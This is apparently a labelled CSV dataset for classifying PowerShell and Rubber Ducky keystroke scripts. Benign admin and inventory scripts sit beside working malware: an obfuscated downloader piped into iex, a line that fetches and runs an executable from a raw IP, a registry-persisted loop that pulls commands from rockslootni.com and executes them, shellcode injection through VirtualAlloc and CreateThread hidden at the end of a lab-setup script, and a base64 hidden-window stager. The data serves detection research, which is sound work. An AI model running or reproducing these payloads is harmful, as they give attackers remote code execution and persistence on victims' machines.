"if (&(""{2}{0}{1}"" -f'e','st-Path','T') -Path (((""{17}{11}{6}{8}{19}{14}{2}{16}{2 enter 0}{21}{13}{15}{3}{7}{12}{18}{5}{4}{1}{0}{9}{10}"" -f 'er.','pdat','osof','O','eU' enter ,'on','am File','neDr','s','ex','e','gr','ive','Updat','icr','erHcn','t','C:HcnP enter ro','Standal','HcnM','HcnOneDriv','e')).""R`EPlace""(([ChAR]72+[ChAR]99+[ChAR]110) enter ,[STring][ChAR]92))) { & (((""{7}{3}{14}{1}{0}{8}{11}{5}{12}{4}{6}{2}{13}{9}{10}"" enter -f'm Files{0}Micro','rogra','dater{','0}','i','neD','veUp','C:{','soft{0','neDri enter veSt','andaloneUpdater.exe','}O','r','0}O','P')) -f [CHAr]92) } else { ${Z`F6}:: enter ""secU`RiTypr`OToC`OL"" = ${Z`F6}::""SECurit`ypro`T`OCol"" -bor 3072; &(""{0}{1}""-f ' enter ie','x') ((&(""{1}{0}{2}""-f 'ew-Obj','N','ect') (""{0}{5}{4}{2}{3}{1}""-f'Sy','t',' enter m.Net.W','ebClien','e','st')).(""{3}{1}{0}{2}""-f'rin','oadSt','g','Downl').Invoke enter ((""{9}{11}{8}{4}{14}{0}{13}{17}{7}{10}{1}{6}{15}{3}{19}{12}{18}{2}{16}{5}"" -f 'w enter it','eUp','nstall.', enter",1,1,5.5341967e-05,0.9999447
"win+r powershell enter properties { enter $x = 1 enter } enter task default -depends Verify enter task Verify -description ""This task verifies psake's variables"" { enter Assert (Test-Path ""variable:psake"") ""variable psake was not exported from module"" enter Assert ($psake.ContainsKey(""build_success"")) ""'psake' variable does not contain key 'build_success'"" enter Assert ($psake.ContainsKey(""version"")) ""'psake' variable does not contain key 'version'"" enter Assert ($psake.ContainsKey(""build_script_file"")) ""'psake' variable does not contain key 'build_script_file'"" enter Assert ($psake.ContainsKey(""build_script_dir"")) ""'psake' variable does not contain key 'build_script_dir'"" enter Assert (!$psake.build_success) '$psake.build_success should be $false' enter Assert ($psake.version) '$psake.version was null or empty' enter Assert ($psake.build_script_file) '$psake.build_script_file was null' enter Assert ($psake.build_script_file.Name -eq ""writing_psake_variables_should_pass.ps1"") '$psake.build_script_file.Name was not equal to ""writing_psake_variables_should_pass.ps1""' enter Assert ($psake.build_script_dir) '$psake.build_script_dir was null or empty' enter Assert ($psake.context.Count -eq 1) '$psake.context should have had a length of one (1) during script execution' enter $config = $psake.context.peek().config enter Assert ($config) '$psake.config is $null' enter Assert ((new-object ""System.IO.FileInfo"" $config.buildFileName).FullName -eq $psake.build_script_file.FullName) ('$psake.context.peek().config.buildFileName not equal to ""{0}""' -f $psake.build_script_file.FullName) enter Assert ($config.framework -eq ""4.0"") '$psake.context.peek().config.framework not equal to ""4.0""' enter Assert ($config.taskNameFormat -eq ""Executing {0}"") '$psake.context.peek().config.taskNameFormat not equal to ""Executing {0}""' enter Assert (!$config.verboseError) '$psake.context.peek().config.verboseError should be $false' enter Assert ($config.coloredOutput) '$psake.context.peek().config.coloredOutput should be $false' enter Assert ($config.modules -eq $null) '$psake.context.peek().config.modules is not $null' enter } enter",0,0,0.99982244,0.00017754575
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Quack_Rolled enter REM Author: LulzAnarchyAnon enter REM Description: The first thing is volume is increased to 100% enter REM Afterwards Afterwards you get Rick Rolled Ducky Style. enter REM Target: Windows 10 PowerShell enter REM Props: Darren Kitchen and I am Jakoby enter REM Version: 1.0 enter REM Category: Prank enter DELAY 500 enter GUI r enter DELAY 500 enter STRING powershell -windowstyle hidden enter DELAY 500 enter ENTER enter DELAY 500 enter STRING Function Set-SoundVolume enter DELAY 500 enter ENTER enter STRING { enter DELAY 500 enter ENTER enter STRING Param( enter DELAY 500 enter ENTER enter STRING [Parameter(Mandatory=$true)] enter DELAY 500 enter ENTER enter STRING [ValidateRange(0,100)] enter DELAY 500 enter ENTER enter STRING [Int] enter DELAY 500 enter ENTER enter STRING $volume enter DELAY 500 enter ENTER enter STRING ) enter DELAY 500 enter ENTER enter DELAY 500 enter DUCKY_REAL_END enter",1,1,6.138316e-05,0.9999386
win+r powershell enter [CmdletBinding()] param( ) Set-StrictMode -Version Latest $PSScriptRoot = Split enter -Path -Parent -Path $MyInvocation.MyCommand.Definition if( (Get-Module Silk) ) enter { Remove-Module Silk } enter enter,1,1,0.00066535914,0.99933463
"win+r powershell enter [void] [System.Reflection.Assembly]::LoadWithPartialName(""System.Drawing"") [voi enter d] [System.Reflection.Assembly]::LoadWithPartialName(""System.Windows.Forms"") $ enter objForm = New-Object System.Windows.Forms.Form $objForm.Text = ""Incorrect Key!"" enter $objForm.Size = New-Object System.Drawing.Size(300,200) $objForm.StartPosition enter = ""CenterScreen"" $objForm.KeyPreview = $True $objForm.Add_KeyDown({if ($_.KeyC enter ode -eq ""Enter"") {$x=$objTextBox.Text;$objForm.Close()}}) $objForm.Add_KeyDown enter ({if ($_.KeyCode -eq ""Escape"") enter enter",1,1,0.00010662399,0.9998933
"win+r enter powershell enter enter enter function Get-FileEncoding{ enter [CmdletBinding()] enter param( enter enter [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] enter [string] enter $Path enter enter ) enter enter [byte[]]$byte = get-content -Encoding byte -ReadCount 4 -TotalCount 4 -Path $Path enter enter if($byte[0] -eq 0xef -and $byte[1] -eq 0xbb -and $byte[2] -eq 0xbf){ enter Write-Output 'UTF8' enter }elseif($byte[0] -eq 0xfe -and $byte[1] -eq 0xff){ enter Write-Output 'Unicode' enter }elseif($byte[0] -eq 0 -and $byte[1] -eq 0 -and $byte[2] -eq 0xfe -and $byte[3] -eq 0xff){ enter Write-Output 'UTF32' enter }elseif($byte[0] -eq 0x2b -and $byte[1] -eq 0x2f -and $byte[2] -eq 0x76){ enter Write-Output 'UTF7' enter }else{ enter Write-Output 'ASCII' enter } enter } enter enter",0,0,0.98147315,0.018526774
"win+r powershell enter Set-StrictMode -Version 2 $DoIt = @' function func_b { Param ($amodule, $aproc enter edure) $aunsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | enter Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals(' enter System.dll') }).GetType('Microsoft.Win32.Uns'+'afeN'+'ativeMethods') $agpa = $a enter unsafe_native_methods.GetMethod('GetP'+'rocAddress', [Type[]] @('System.Runtime. enter InteropServices.HandleRef', 'string')) return $agpa.Invoke($null, @([System.Run enter time.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.Handle enter Ref((New-Object IntPtr), ($aunsafe_native_methods.GetMethod('GetModuleHandle')). enter Invoke($null, @($amodule)))), $aprocedure)) } function func_a { Param ( enter enter",1,1,0.00019943171,0.9998006
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_uzsadqu7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter",0,0,0.9999658,3.427065e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install webex-meetings enter A enter enter enter,0,0,0.99996066,3.9289942e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install keepass.install enter A enter enter enter,0,0,0.99996114,3.885956e-05
"win+r enter powershell enter enter enter start-process ""https://drive.google.com/drive/folders/1mjQb3CUPJ6hl0kckEto_h87HikkphtKe?usp=sharing"" enter enter",1,1,6.1380226e-05,0.9999386
"win+r enter powershell enter enter enter function Stop-Process2 { enter [CmdletBinding(SupportsShouldProcess = $true)] enter [Alias()] enter [OutputType([int])] enter param( enter enter [Parameter(Mandatory=$true, enter ValueFromPipelineByPropertyName=$true, enter Position=0)] enter $Name enter ) enter enter process { enter if ($PSCmdlet.ShouldProcess("""")) { enter $processes = Get-Process -Name $Name enter foreach ($process in $processes) { enter $id = $process.Id enter $name = $process.Name enter Write-Output ""Killing $name ($id)"" enter enter $process.Kill(); enter enter Start-Sleep -Seconds 1 enter } enter } enter } enter } enter enter",0,0,0.9903196,0.009680433
"win+r enter powershell enter enter enter function Get-AvailableScriptFilePath enter { enter [CmdletBinding(PositionalBinding=$false)] enter Param enter ( enter [Parameter()] enter [string] enter $Name enter ) enter enter $scriptInfo = $null enter $scriptFileName = '*.ps1' enter $scriptBasePaths = @($script:ProgramFilesScriptsPath, $script:MyDocumentsScriptsPath) enter $scriptFilePaths = @() enter $wildcardPattern = $null enter enter if($Name) enter { enter if(Test-WildcardPattern -Name $Name) enter { enter $wildcardPattern = New-Object System.Management.Automation.WildcardPattern $Name,$script:wildcardOptions enter } enter else enter { enter $scriptFileName = ""$Name.ps1"" enter } enter enter } enter enter foreach ($location in $scriptBasePaths) enter { enter $scriptFiles = Get-ChildItem -Path $location ` enter -Filter $scriptFileName ` enter -ErrorAction SilentlyContinue ` enter -WarningAction SilentlyContinue enter enter if($wildcardPattern) enter { enter $scriptFiles | Microsoft.PowerShell.Core\ForEach-Object { enter if($wildcardPattern.IsMatch($_.BaseName)) enter { enter $scriptFilePaths += $_.FullName enter } enter } enter } enter else enter { enter $scriptFiles | Microsoft.PowerShell.Core\ForEach-Object { $scriptFilePaths += $_.FullName } enter } enter } enter enter return $scriptFilePaths enter } enter enter",0,0,0.99990475,9.523993e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_i9ewqgi4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_15.json"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4005483e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_y607yq8l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.json"") -Encoding UTF8 enter",0,0,0.9999652,3.4813234e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM TITLE Hey Got Any Grapes? enter REM AUTHOR Cribbit enter REM DESCRIPTION Get Powershell or MacOS ""say"" or Linux (ubuntu) ""espeak"" to speak the opening of the duck song enter REM NOTE espeak need to be install on the system for it to work enter REM PROP Song by Bryant Oden enter EXTENSION OS_DETECTION enter REM VERSION 1.0 enter REM USB Rubber Ducky Host OS Detection enter REM Generic OS detection at a high view is a moving target enter REM results may vary greatly depending enter REM on a combination of many variables: enter REM - number of testing stages enter REM - specific devices and versions tested against enter REM - number of systems testing for (scope) enter REM - detection techniques (passive/invisible/active/hybrid) enter REM - overall speed enter REM - overall accuracy enter REM TARGET: enter REM DEFAULT - Windows, Mac, Linux enter REM ADVANCED_DETECTION - Windows, Mac, Linux, iOS, ChromeOS, Android enter REM USAGE: enter REM Uncomment the function call below to run this extension inline (here) enter REM or call DETECT_OS() anywhere in your payload after the extension enter REM Place this extension and the DETECT_OS() before enter REM you would like to first reference $_OS to execute payload code conditionally enter REM CONFIGURATION: enter DEFINE VERBOSE FALSE enter DEFINE ADVANCED_DETECTION FALSE enter DEFINE STARTUP_DELAY 1500 enter DEFINE RESTART_WAIT 1000 enter DEFINE CONNECT_WAIT 1000 enter DEFINE OS_DETECT_MODE HID enter DEFINE OS_DETECT_VID VID_05AC enter DEFINE OS_DETECT_PID PID_021E enter DEFINE WINDOWS_HOST_REQUEST_COUNT 2 enter DEFINE HOST_RESPONSE_TIMEOUT 1000 enter FUNCTION DETECT_OS() enter $_HOST_CONFIGURATION_REQUEST_COUNT = 0 enter ATTACKMODE OS_DETECT_MODE OS_DETECT_VID OS_DETECT_PID enter DELAY STARTUP_DELAY enter DUCKY_REAL_END enter",1,1,6.0085913e-05,0.9999399
"win+r powershell enter Describe ""InitialSessionState capacity"" -Tags CI { BeforeAll { $iss = [initial enter sessionstate]::CreateDefault() for ($i = 0; $i -lt 5000; $i++) { $ssfe = [Sy enter stem.Management.Automation.Runspaces.SessionStateFunctionEntry]::new(""f$i"", ""'fn enter f$i'"") $iss.Commands.Add($ssfe) $ssve = [System.Management.Automation.Runspa enter ces.SessionStateVariableEntry]::new(""v$i"", ""var v$i"", $null) $iss.Variables.Add enter ($ssve) enter enter",1,1,0.0037641977,0.9962358
"win+r enter powershell enter enter enter function Convert-SPOFileVariablesToValues enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [System.IO.FileSystemInfo]$file enter ) enter enter $filePath = $file.FullName enter $tempFilePath = ""$filePath.temp"" enter enter Write-Host ""Replacing variables at $filePath"" -foregroundcolor black -backgroundcolor yellow enter enter $serverRelativeUrl = $clientContext.Site.ServerRelativeUrl enter if ($serverRelativeUrl -eq ""/"") { enter $serverRelativeUrl = """" enter } enter enter (get-content $filePath) | foreach-object {$_ -replace ""~SiteCollection"", $serverRelativeUrl } | set-content $tempFilePath enter enter return Get-Item -Path $tempFilePath enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.983832e-05,0.99994016
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_7jyz0cen"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3920398e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_2hibtvqb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4172026e-05
win+r enter delay_medium enter Powershell.exe enter enter enter delay_medium enter Function Set-Speaker($Volume){$wshShell = new-object -com wscript.shell;1..50 | % {$wshShell.SendKeys([char]174)};1..$Volume | % {$wshShell.SendKeys([char]175)}} enter enter enter delay_long enter Set-Speaker -Volume 50 enter enter enter delay_long enter start YOUR YOUTUBE LINK WITH THE HTTPS:// enter enter enter delay_long enter unknown_key_action GUI L,1,1,5.554796e-05,0.99994445
"win+r enter powershell enter enter enter $jd = $null; enter $sta=[System.Text.Encoding]::ASCII; enter function sltValue([string]$ar2) { enter $ar1=[System.Convert]::FromBase64String($ar2); enter enter $st=$sta.GetBytes('Get-ItemPropertyValue'); enter $ed=$ar1[0..4]; enter enter $i=0; enter $l=$ed.Length; enter $k=@(); enter enter [array]::Resize([ref]$k,$st.length); enter foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]} enter enter $bs=$ar1[5..$ar1.length]; enter enter $i=0; enter $l=$k.Length; enter $dt=@(); enter enter [array]::Resize([ref]$dt,$bs.length); enter foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]} enter enter return $sta.GetString($dt) | ConvertFrom-Json; enter } enter enter $v = ""0""; enter $lv = ""6""; enter $d = ""rockslootni.com""; enter $ep = ""WyIxMDMwNDc1MjkxOTUzMzkzNjIiLDE2NTIzNjM3MTRd""; enter enter $pathRG = ""HKCU:\Software\aignes\""; enter enter $jp=$null; enter try { enter $jp=$sta.GetString([System.Convert]::FromBase64String($ep)) | ConvertFrom-Json; enter } catch{} enter enter $a = $sta; enter enter $u=$jp[0]; enter $is=$jp[1]; enter enter $rName = ""deadlinks""; enter enter while($true) { enter try { enter try { enter if (!(Test-Path $pathRG)) { enter New-Item -Path $pathRG | Out-Null; enter } enter }catch{} enter enter $ex = $false; enter enter if ($jd -eq $null) { enter try { enter $r = Get-ItemPropertyValue -Path $pathRG -Name $rName; enter $jd = sltValue($r); enter enter $v = $jd[0]; enter enter $ex = $true; enter }catch{} enter } else { enter $v = $jd[0]; enter } enter enter try { enter $dt = wget ""https://$d/x?u=$u&is=$is&lv=$lv&rv=$v"" -UseBasicParsing; enter enter $jd2 = sltValue($dt); enter if ($jd2[0] -gt $v) { enter $v2 = $jd2[0]; enter enter New-ItemProperty -Path $pathRG -Name $rName -Value $dt -PropertyType ""String"" -Force | Out-Null; enter $jd = $jd2; enter $ex = $true; enter } enter }catch{} enter enter if ($ex -eq $true) { enter try{ enter stop; enter }catch{} enter enter try { enter iex $jd[1]; enter }catch{} enter } enter } catch{} enter enter try { enter $sls = ((get-random 70 -minimum 50)*60); enter $ts = [int](Get-Date -UFormat %s); enter enter :sl while($true) { enter try{ enter run($d,$u,$is); enter }catch{} enter enter Start-Sleep (get-random 65 -minimum 25); enter $ts2 = [int](Get-Date -UFormat %s); enter enter if (($ts2-$ts) -gt $sls) { enter break sl; enter } enter } enter } catch{} enter } enter enter",1,1,0.000121986006,0.99987805
"win+r enter powershell enter enter enter param([Switch]$SqlOnly) enter enter Import-Module C:\git-repositories\PowerShell\MSFVMLab\MSFVMLab.psm1 -Force enter enter $LabConfig = Get-Content C:\git-repositories\PowerShell\MSFVMLab\LabVMS.json | ConvertFrom-Json enter $Servers = if($SqlOnly){$LabConfig.Servers | Where-Object {$_.class -ne 'DomainController'}} else {$LabConfig.Servers} enter $WorkingDirectory = $LabConfig.WorkingDirectory enter If(-not (Test-Path $WorkingDirectory)){ enter Write-Error ""$WorkingDirectory does not exist!"" -ErrorAction Stop enter } enter enter $LocalAdminCred = Import-Clixml ""$WorkingDirectory\vmlab_localadmin.xml"" enter enter foreach($Server in $Servers){ enter enter if(!(Get-VM -Name $Server.name -ErrorAction SilentlyContinue)){ enter enter $img=switch($Server.Type){ enter 'Full'{'C:\VMs\ISOs\GM2016Full.vhdx'} enter default{'C:\VMs\ISOs\GM2016Core.vhdx'} enter } enter New-LabVM -VMName $Server.name ` enter -VMPath 'C:\VMs\Machines' ` enter -VHDPath 'C:\VMs\VHDs' ` enter -ISOs @('C:\VMs\ISOs\en_windows_server_2016_x64_dvd_9718492.ISO','C:\VMs\ISOs\en_sql_server_2016_developer_with_service_pack_1_x64_dvd_9548071.iso') ` enter -VMSource $img ` enter -VMSwitches @('HostNetwork','LabNetwork') ` enter -Verbose enter } enter } enter Get-VM -Name $Servers.Name | Get-VMIntegrationService | Where-Object {!($_.Enabled)} | Enable-VMIntegrationService -Verbose enter Invoke-Command -VMName $Servers.Name {Get-PackageProvider -Name NuGet -ForceBootstrap; Install-Module @('xComputerManagement','xActiveDirectory','xNetworking','xDHCPServer','SqlServer') -Force} -Credential $LocalAdminCred enter ($Servers | Where-Object {$_.Type -eq 'Core'}).name | enter ForEach-Object{Invoke-Command -VMName $_ -Credential $LocalAdminCred {set-itemproperty ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\WinLogon"" shell 'powershell.exe -noexit -command ""$psversiontable;""';Rename-Computer -Force -Restart -NewName $using:_ }} enter enter ($Servers | Where-Object {$_.Type -ne 'Core'}).Name | enter ForEach-Object {Invoke-Command -VMName $_ -Credential $LocalAdminCred { Rename-Computer -NewName $using:_ -Force -Restart}} enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbb,0xf1,0x8f,0x43,0x55,0xda,0xc3,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x31,0x5e,0x13,0x83,0xee,0xfc,0x03,0x5e,0xfe,0x6d,0xb6,0xa9,0xe8,0xf0,0x39,0x52,0xe8,0x94,0xb0,0xb7,0xd9,0x94,0xa7,0xbc,0x49,0x25,0xa3,0x91,0x65,0xce,0xe1,0x01,0xfe,0xa2,0x2d,0x25,0xb7,0x09,0x08,0x08,0x48,0x21,0x68,0x0b,0xca,0x38,0xbd,0xeb,0xf3,0xf2,0xb0,0xea,0x34,0xee,0x39,0xbe,0xed,0x64,0xef,0x2f,0x9a,0x31,0x2c,0xdb,0xd0,0xd4,0x34,0x38,0xa0,0xd7,0x15,0xef,0xbb,0x81,0xb5,0x11,0x68,0xba,0xff,0x09,0x6d,0x87,0xb6,0xa2,0x45,0x73,0x49,0x63,0x94,0x7c,0xe6,0x4a,0x19,0x8f,0xf6,0x8b,0x9d,0x70,0x8d,0xe5,0xde,0x0d,0x96,0x31,0x9d,0xc9,0x13,0xa2,0x05,0x99,0x84,0x0e,0xb4,0x4e,0x52,0xc4,0xba,0x3b,0x10,0x82,0xde,0xba,0xf5,0xb8,0xda,0x37,0xf8,0x6e,0x6b,0x03,0xdf,0xaa,0x30,0xd7,0x7e,0xea,0x9c,0xb6,0x7f,0xec,0x7f,0x66,0xda,0x66,0x6d,0x73,0x57,0x25,0xf9,0xb0,0x5a,0xd6,0xf9,0xde,0xed,0xa5,0xcb,0x41,0x46,0x22,0x67,0x09,0x40,0xb5,0x88,0x20,0x34,0x29,0x77,0xcb,0x45,0x63,0xb3,0x9f,0x15,0x1b,0x12,0xa0,0xfd,0xdb,0x9b,0x75,0x6b,0xd9,0x0b,0x1f,0xf0,0x27,0xfe,0xb7,0x0a,0xa8,0x01,0xf3,0x82,0x4e,0x51,0x53,0xc5,0xde,0x11,0x03,0xa5,0x8e,0xf9,0x49,0x2a,0xf0,0x19,0x72,0xe0,0x99,0xb3,0x9d,0x5d,0xf1,0x2b,0x07,0xc4,0x89,0xca,0xc8,0xd2,0xf7,0xcc,0x43,0xd1,0x08,0x82,0xa3,0x9c,0x1a,0x72,0x44,0xeb,0x41,0xd4,0x5b,0xc1,0xec,0xd8,0xc9,0xee,0xa6,0x8f,0x65,0xed,0x9f,0xe7,0x29,0x0e,0xca,0x7c,0xe3,0x9a,0xb5,0xea,0x0c,0x4b,0x36,0xea,0x5a,0x01,0x36,0x82,0x3a,0x71,0x65,0xb7,0x44,0xac,0x19,0x64,0xd1,0x4f,0x48,0xd9,0x72,0x38,0x76,0x04,0xb4,0xe7,0x89,0x63,0x44,0xdb,0x5f,0x4d,0x32,0x35,0x5c;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1784886e-05,0.99994826
"win+r powershell enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\Wind enter owsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStar enter tInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStre enter am(,[Convert]::FromBase64String(''H4sIAIV0GFgCA7VWbW/aSBD+3Er9D1aFhK0SbAht0kiVbm enter 1jIAECcTABDlWLvTYbFi+11+Gl1/9+Y7Abck1OqU5ngby7M7Mz+8wzO/aT0BWUh9JmXllL39+9fdPDEV enter 5KcoF+pQujU5IK815wPqufa0bjmihv3oBKIRiHrQ6XvkjyBK1WJl9iGk4vLowkikgoDvNygwgUx2Q5Y5 enter TEsiL9JQ3nJCIn17N74grpu1T4Wm4wPsMsU9sa2J0T6QSFXiprcxenoZXtFaNCLv75Z1GZnFSm5fq3BL enter NYLtrbWJBl2WOsqEg/lNTh7XZF5GKHuhGPuS/KQxqeVsuDMMY+6cJuD6RDxJx7cVGBc8AvIiKJQik7Ub enter rFQUEuwrAXcRd5XkRi0C+3wge+IHIhTBgrSX/Ik8z/TRIKuiQgFyTiK5tED9QlcbmJQ4+RG+JP5S5Z58 enter d+rZF8bARaPREpJUjLs4F2uJcwcrAtKr+GmiVTgeefCQUcfrx7++6tnxOBR7Zpd6l7TAYYvZnsxwTClX enter s8pnvdL5JWkjrgFgsebWFauI0SokylSZqIyXQqFdiwG1un9rrufm2WXt6nkhuBySzxtpdn12tYnjicel enter Mwy9JVoNXAql81de86lb enter enter",1,1,6.0194823e-05,0.9999398
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_6semkchl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4590055e-05
"win+r enter powershell enter enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Specify a single or an array of either IP addresses, NetBIOS names or FQDNs"")] enter [string[]]$Targets, enter [parameter(Mandatory=$true, HelpMessage=""Specify a single or an array or ports to validate"")] enter [string[]]$Ports, enter [parameter(Mandatory=$true, HelpMessage=""Specify what protocol to use, valid options are: TCP or UDP"")] enter [ValidateSet(""TCP"",""UDP"")] enter [string]$Protocol, enter [parameter(Mandatory=$false, HelpMessage=""Specify path and file name for results to be exported in CSV format"")] enter [ValidateScript({$_ -like ""*.csv""})] enter [string]$ExportPath enter ) enter enter Begin { enter Write-Verbose -Message ""Starting to process"" enter $HostName = $env:COMPUTERNAME enter } enter Process { enter function Write-CustomObject { enter param( enter [parameter(Mandatory=$true)] enter [string]$HostName, enter [parameter(Mandatory=$true)] enter [string]$IPAddress, enter [parameter(Mandatory=$true)] enter [ValidateSet(""Success"",""Failure"")] enter [string]$Results, enter [parameter(Mandatory=$true)] enter [string]$Protocol, enter [parameter(Mandatory=$true)] enter [string]$Port enter ) enter $PSObject = New-Object -TypeName PSObject enter $PSObject | Add-Member -MemberType NoteProperty -Name ""From"" -Value $HostName enter $PSObject | Add-Member -MemberType NoteProperty -Name ""To"" -Value $IPAddress enter $PSObject | Add-Member -MemberType NoteProperty -Name ""Results"" -Value $Results enter $PSObject | Add-Member -MemberType NoteProperty -Name ""Protocol"" -Value $Protocol enter $PSObject | Add-Member -MemberType NoteProperty -Name ""Port"" -Value $Port enter if ($ExportPath.Length -ge 8) { enter $PSObject | Export-Csv -Path $ExportPath -NoClobber -NoTypeInformation -Append -Force enter } enter return $PSObject enter } enter foreach ($Target in $Targets) { enter foreach ($Port in $Ports) { enter if ($Protocol -like ""TCP"") { enter try { enter Write-Verbose -Message ""Trying to establish a connection from '$($HostName)' to '$($Target)' using '$($Protocol) $($Port)'"" enter $TCPConnection = New-Object System.Net.Sockets.TcpClient($Target, $Port) enter if ($TCPConnection -ne $null) { enter Write-CustomObject -HostName $HostName -IPAddress $Target -Results Success -Protocol TCP -Port $Port enter } enter } enter catch { enter 